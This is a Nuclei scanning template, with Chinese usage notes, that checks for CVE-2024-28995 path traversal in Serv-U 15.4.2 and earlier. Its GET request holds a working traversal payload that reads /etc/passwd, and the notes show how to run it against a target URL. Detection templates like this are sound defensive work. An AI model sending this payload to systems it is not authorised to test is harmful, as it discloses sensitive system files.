检测 Serv-U 15.4.2 及更低版本中的目录遍历漏洞,允许读取敏感文件如 /etc/passwd。
id: CVE-2024-28995
info:
name: Serv-U Directory Traversal Vulnerability
author: Hüseyin TINTAŞ
severity: high
description: Checks for directory traversal vulnerability in Serv-U versions 15.4.2 and below, which allows reading sensitive files like /etc/passwd.
reference:
- https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
tags: pathtraversal,cve,high,serv-u
requests:
- method: GET
path:
- "{{BaseURL}}/?InternalDir=\\..\\..\\..\\..\\etc^&InternalFile=passwd"
matchers-condition: and
matchers:
- type: word
words:
- "root:x:"
- "daemon:x:"
- "bin:x:"
part: body
- type: status
status:
- 200
- type: word
words:
- "Server: Serv-U"
part: header
要使用此模板配合 Nuclei,请将模板内容保存为名为 CVE-2024-28995.yaml 的文件,然后运行以下命令:
nuclei -t CVE-2024-28995.yaml -u <target-url>
将 <target-url> 替换为您要扫描的目标 URL。
如有任何疑问或需要更多信息,您可以通过以下方式联系我: